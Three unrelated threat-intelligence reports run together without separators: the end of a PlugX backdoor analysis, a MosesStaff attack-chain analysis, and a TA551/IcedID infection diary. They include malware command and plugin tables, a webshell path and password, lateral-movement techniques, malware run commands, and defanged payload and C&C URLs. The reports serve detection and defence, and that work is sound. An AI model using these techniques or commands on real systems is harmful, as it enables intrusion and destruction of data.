loop #2 | | 209 | Plugin mode | | 300 | Auto-delete | The “lang.dat” holds the configuration data as well as the shellcode and the encoded PlugX. The configuration data is also encoded, but it is decoded by the PlugX when it is executed in order to obtain the C&C address and other configuration information. There are 4 C&C server addresses. The commands supported by PlugX are almost the same as the BackDoor.PlugX.38 version covered on the Dr.Web report, but they are distinguished by the 2 additional commands, namely the entries 0x0B and 0x0C. | Command | Feature | |------------------|-------------------------------------------| | 0x01 | Transmits collected information | | 0x02 | Request command again | | 0x03 | Plugin-related | | 0x04 | Reset connection | | 0x05 | Auto-delete | | 0x06 | Upload configuration data | | 0x07 | Update configuration data | | 0x08 | No actual purpose | | 0x09 | No actual purpose | | 0x0A | Pings port 53 from the transmitted address| | 0x0B | Download and execute files from an external source | | 0x0C | Start service | There are 2 additional plugins supported by PlugX in comparison to the previous BackDoor.PlugX.38 version, one that steals information saved to the clipboard and one that is responsible for RDP propagation. | Plugin | Date Time Stamp | Feature | |--------------|------------------|----------------------------------------------| | Disk | 0x20120325 | Tasks related to files (File lookup/reading/writing, process execution, etc.) | | KeyLog | 0x20120324 | Keylogging | | Nethood | 0x20120215 | Lookup shared network resource information | | Netstat | 0x20120215 | Lookup TCP/UDP connection tables and TCP entry settings | | Option | 0x02120128 | Workstation tasks | | PortMap | 0x02120325 | Cannot recreate | | Process | 0x20120204 | Lookup processes/modules. Terminate processes| | RegEdit | 0x20120315 | Tasks related to registry (Lookup, create, delete, etc.) | | Screen | 0x20120220 | Screenshot capture and remote desktop | | Service | 0x20120117 | Lookup processes/modules. Terminate processes| | Shell | 0x20120305 | Remote control shell (Pipe communication) | | SQL | 0x20120323 | Tasks related to SQL (Lookup information, command execution, etc.) | | Telnet | 0x20120225 | Run as TELNET server | | ClipLog | 0x20190417 | Steals clipboard information | | RDP | 0x20190428 | Propagation using the shared RDP folder | Additionally, it is assumed that the location where the stolen data is saved differs for each malware. For example, contrary to a past report, the stolen clipboard data is saved to the “clang.aif” file and the keylogging data in the “ksys.aif” file, both of which are in the installation directory. ## Conclusion Recently, there have been confirmed cases where various strains of malware were installed on unpatched and vulnerable software. Although Sliver, Paradise ransomware, and CoinMiner are the malware that are typically installed through vulnerability exploitations, the team has recently confirmed the distribution of the PlugX backdoor. PlugX is one of the main backdoor malware used by APT threat groups based in China. New features are being added to it even to this day as it continues to see steady use in attacks. When the backdoor, PlugX, is installed, threat actors can gain control over the infected system without the knowledge of the user. In turn, this allows various malicious behaviors to be performed such as logging key inputs, taking screenshots, and installing additional malware. Therefore, users must update their installed software to the latest version to preemptively prevent vulnerability exploitations. Also, V3 should be updated to the latest version so that malware infection can be prevented. ### File Detection - Malware/Win.Generic.C5387131 (2023.02.24.00) - Trojan/Win.Loader.C5345891 (2022.12.30.02) - Data/BIN.Plugx (2023.03.03.03) ### Behavior Detection - Malware/MDP.Download.M1197 ### IOC **MD5** - 709303e2cf9511139fbb950538bac769 - d1a06b95c1d7ceaa4dc4c8b85367d673 - d973223b0329118de57055177d78817b ### Download URLs - hxxp://api.imango[.]ink:8089/http_dll.dll - hxxp://api.imango[.]ink:8089/esetservice.exe ### C&C URLs - cdn.imango[.]ink:443 - api.imango[.]ink:443 - api.imango[.]ink:53 - cdn.imango[.]ink:53
# Uncovering MosesStaff Techniques: Ideology over Money ## Introduction In September 2021, the hacker group MosesStaff began targeting Israeli organizations, joining a wave of attacks initiated about a year ago by the Pay2Key and BlackShadow groups. These actors operated mainly for political reasons in an attempt to create media noise and damage the country’s image, demanding money and conducting lengthy public negotiations with victims. MosesStaff behaves differently. The group openly states that their motivation in attacking Israeli companies is to cause damage by leaking stolen sensitive data and encrypting victims’ networks, with no ransom demand. In the language of the attackers, their purpose is to “Fight against the resistance and expose the crimes of the Zionists in the occupied territories.” In this article, we share our investigation of several incidents involving the MosesStaff group. We provide their tactics, techniques, and procedures (TTPs), analyze their two main tools, PyDCrypt and DCSrv, describe their encryption scheme and its possible flaws, and provide several keys for attribution. ## Key Findings - MosesStaff carries out targeted attacks against Israeli companies, leaks their data, and encrypts their networks. There is no ransom demand and no decryption option; their motives are purely political. - Initial access to victims’ networks is presumably achieved through exploiting known vulnerabilities in publicly facing infrastructure such as Microsoft Exchange Servers. - Lateral movement within the infected networks is made using basic tools: PsExec, WMIC, and PowerShell. - The attacks utilize the open-source library DiskCryptor to perform volume encryption and lock the victims’ computers with a bootloader that won’t allow the machines to boot without the correct password. - The group’s current encryption method may be reversible under certain circumstances. ## Infection Chain To get initial access, the attackers exploited known vulnerabilities in external-facing infrastructure. As a result, a webshell was dropped to the following path: `C:\inetpub\wwwroot\aspnet_client\system_web\IISpool.aspx`. It’s a basic password-protected shell, where the MD5 of the entered password is compared with the hardcoded value `52a04efc6a0e7facf34dcc36a6d1ce6f` (MD5 hash of `joker123`). The webshell is obfuscated and based on one of the webshells available on GitHub. The actors also uploaded several additional tools to the same folder: - Multiple batch scripts which can enable SMB or disable the Windows firewall on specific remote machines. - A copy of PsExec, a portable tool from Microsoft that allows running processes remotely with any user’s credentials. - OICe.exe, a small Go executable which receives a command via its command-line arguments and executes it. This tool might be used on the compromised server in the early steps of the attack to avoid executing suspicious child processes like cmd or PowerShell. After the attackers are inside the victims’ network, they collect information on the machines in the network and combine it into a `victim_info` list. This contains a domain name, machine names, and administrator credentials that are later used to compile a specially-crafted PyDCrypt malware. This malware is usually run from the `C:\Users\Public\csrss.exe` path and is responsible for replicating itself inside the network and unleashing the main encryption payload, DCSrv. ## Technical Analysis ### PyDCrypt The main goals of PyDCrypt are to infect other computers and to ensure the main payload, DCSrv, is executed properly. The executable is written in Python and compiled with PyInstaller with encryption, using the `--key` flag during the build phase. The attackers build a new sample for each infected organization and hardcode the parameters collected from the victim’s environment. PyDCrypt can receive 2 or 3 arguments: - The first argument expected is 113. The malware checks and if the argument is different, it does not proceed to the execution and removes itself. - The second argument can be 0 or 1, indicating if PyDCrypt has already run previously. - The third argument is optional. If provided, it is used as the encryption key that is later passed to DCSrv as a parameter. The main workflow of the malware: - Create a lock file to prevent multiple instances of malware from running at the same time. - Decrypt and drop DCSrv (named `C:\Users\Public\svchost.exe`) to the disk and execute it. The encryption algorithm is based on XOR and multiple Base64 encoding operations. - Decrypt and drop PSExec (named `ps.exe`). The decoding method is the same as for DCSrv. - Modify firewall rules to allow incoming SMB, Netbios, and RPC connections using netsh.exe on remote machines. - Iterate over machines in the network and infect each of them: the malware attempts to copy and execute `csrss.exe` (PyDCrypt) remotely with PowerShell, PSExec, or WMIC, using compromised administrator credentials. - Remove all created artifacts such as the `ps.exe` binary and the PyDCrypt executable. ### DCSrv This malicious process masquerades as a legitimate `svchost.exe` process and has a single purpose: to encrypt all computer volumes and deny any access to the computer. It contains several resources: - Resource 1 – Contains an encrypted configuration, and depending on the code, can also contain a hardcoded encryption key. - Resource 2 – Signed `DCDrv.sys` driver for 64 bit. - Resource 3 – Signed `DCDrv.sys` driver for 32 bit. - Resource 4 – Encrypted DLL for installing the boot loader. In addition to the configuration, the execution flow can also be controlled by the command line parameters received for this tool, and it can take from 0 to 2 parameters. The first one exists as the encryption key, and if the second one exists, it is an identifier that is also compared with the string saved in the malware configuration. The complete encryption tool is based on a powerful 3rd party open-source tool called DiskCryptor. MosesStaff used several parts of that tool, primarily the signed driver and custom boot loaders. ## Conclusion As we described above, MosesStaff has a specific modus operandi of exploiting vulnerabilities in public-facing servers, then using a combination of unique tools and living-off-the-land maneuvers to leave the targeted network encrypted, with encryption used solely for destruction purposes. Like the Pay2Key and BlackShadow gangs before them, the MosesStaff group is motivated by politics and ideology to target Israeli organizations. Unlike those predecessors, however, they made an outright mistake when they put together their own encryption scheme, which is a surprise in today’s landscape where every two-bit cybercriminal seems to know at least the basics of how to put together functioning ransomware. MosesStaff are still active, pushing provocative messages and videos in their social network accounts. The vulnerabilities exploited in the group’s attacks are not zero days, and therefore all potential victims can protect themselves by immediately patching all publicly-facing systems. ## IOCs ### Hashes | Hash | Description | Name | |----------------------------------------------------|---------------------------------|--------------------| | 680ce7d56fc427ee2fbedb5baea59d68 | MosesStaff Webshell V1 | IISpool.aspx | | 1094aa25e2d637e7f5795edd6c0f60e4 | MosesStaff Webshell V2 | IISpool.aspx | | 5ffc255557796512798617ae61c4274d | MosesStaff Webshell V2 | IISpool.aspx | | 3dde69212234c98b503081d64b9beb52 | MosesStaff Webshell V2 | IISpool.aspx | | a44775e7568b790505bbcaadbd61c993 | MosesStaff Webshell V2 | IISpool.aspx | | 3649c106c6edd7ef47acd46586c74d8e | MosesStaff Webshell V2 | warn.aspx | | c1bc20a9bbebbbdd19869999b9cec03b | MosesStaff Webshell V2 | IISpool.aspx | | a06c125e6da566be67aacf6c4e44005e | CMD wrapper | OICe.exe | | e776c4e24c00fa3eeba68cde38ae24f3 | PyDCrypt | csrss.exe | | 3dfb7626dbe46136bc19404b63c6d1dc | PyDCrypt | csrss.exe | | 7be30062c1a2c42a7061dfbfec364588 | DCSrv | svchost.exe | | 93c19436e6e5207e2e2bed425107f080 | DCSrv | svvhost.exe | | 2372c7639e70820f253a098dfcaf5060 | Bootloader Installer | svchost.dll | ### File Paths - `c:\users\public\svchost.exe` - `c:\users\public\svvhost.exe` - `c:\users\public\svchost.dll` - `c:\users\public\svchost.bat` - `c:\users\public\csrss.exe` - `c:\users\public\ps.exe` - `c:\users\dc1\dcl.txt` - `c:\users\public\account` - `c:\users\public\systemserial` - `c:\windows\system32\drivers\dcdrv.sys` - `C:\inetpub\wwwroot\aspnet_client\system_web\IISpool.aspx`
# TA551 (Shathak) Pushes IcedID (Bokbot) ## Introduction TA551 (also known as Shathak) represents a threat actor behind malspam that has pushed different families of malware over the past few years. So far this week, TA551 is pushing IcedID (Bokbot). ## Indicators of Compromise (IOCs) The infection process was similar to my previous diary about TA551 from August 2021, but this time it delivered IcedID instead of BazarLoader. ### Associated malware: - **SHA256 hash:** d68fb04c96e925efcdb3484669365bed0cda22a272e486e99a43f9626019d31c **File size:** 38,958 bytes **File name:** request.zip **File description:** Password-protected zip archive attached to email **Password:** 55egs - **SHA256 hash:** 0a42f6762ae4f3b1d95aae0f8977cde6361f1d59b5ccc400c41772db0205f7c5 **File size:** 34,322 bytes **File name:** charge_12.01.2021.doc **File description:** Word doc with macros for IcedID - **SHA256 hash:** c7f40608ce8a3dda25c13d117790d08ef757b07b8c2ccb645a27a71adc322fb2 **File size:** 3,342 bytes **File location:** C:\Users\[username]\Documents\youTube.hta **File description:** HTA file dropped after enabling Word macros - **SHA256 hash:** d54a870ba5656c5d3ddfab5f7f325c2fb8ee256b25e2872847c5ff244bc6ee6e **File size:** 257,672 bytes **File location:** hxxp://winrentals2017b[.]com/tegz/[long string of characters]/cab3?ref=[long string of characters] **File location:** C:\Users\Public\dowNext.jpg **File description:** Installer DLL for IcedID **Run method:** regsvr32.exe [filename] - **SHA256 hash:** cfc202b44509f2f607d365858a8218dfdc6b26f8087efcc5e46f4fef9ab53705 **File size:** 341,898 bytes **File location:** C:\Users\[username]\AppData\Roaming\ReliefEight\license.dat **File description:** license.dat data binary used to run persistent IcedID DLL - **SHA256 hash:** c340ae2dde2bd8fbae46b15abef0c7e706fe8953c837329bde409959836d6510 **File size:** 116,224 bytes **File location:** C:\Users\[username]\AppData\Roaming\{24DB904E-86F7-2F2C-B7C1-85D8BBCE1181}\Miap\Giowcosi64.dll **File description:** persistent IcedID DLL **Run method:** rundll32.exe [filename],DllMain --giqied="[path to license.dat]" ### IcedID traffic: - 143.204.155[.]37 port 443 - aws.amazon[.]com - HTTPS traffic - 87.120.254[.]190 port 80 - normyils[.]com - GET / HTTP/1.1 - 87.120.8[.]98 port 443 - baeswea[.]com - HTTPS traffic - 91.92.109[.]95 port 443 - bersaww[.]com - HTTPS traffic ## Final words IcedID can be followed by Cobalt Strike when an infected host is part of an Active Directory (AD) environment. These types of infections can deliver ransomware as a final payload in real-world environments. But decent spam filters and best security practices can help you avoid IcedID. Default security settings in Windows 10 and Microsoft Office 2019 should prevent these types of infections from happening.